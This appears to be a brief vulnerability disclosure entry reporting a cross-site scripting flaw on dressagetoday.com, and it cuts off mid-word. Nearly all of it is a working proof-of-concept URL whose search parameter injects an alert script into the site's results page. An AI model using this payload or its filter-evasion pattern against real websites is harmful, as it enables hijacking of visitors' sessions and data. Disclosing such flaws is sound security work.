dressagetoday.com XSS vulnerability

Vulnerable URL: http://dressagetoday.com/results?sb-search=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E&sb-inst;=19dnnavtSearch&sb-logid;=136601-nyedbww1c21hljam Details: Description| Val...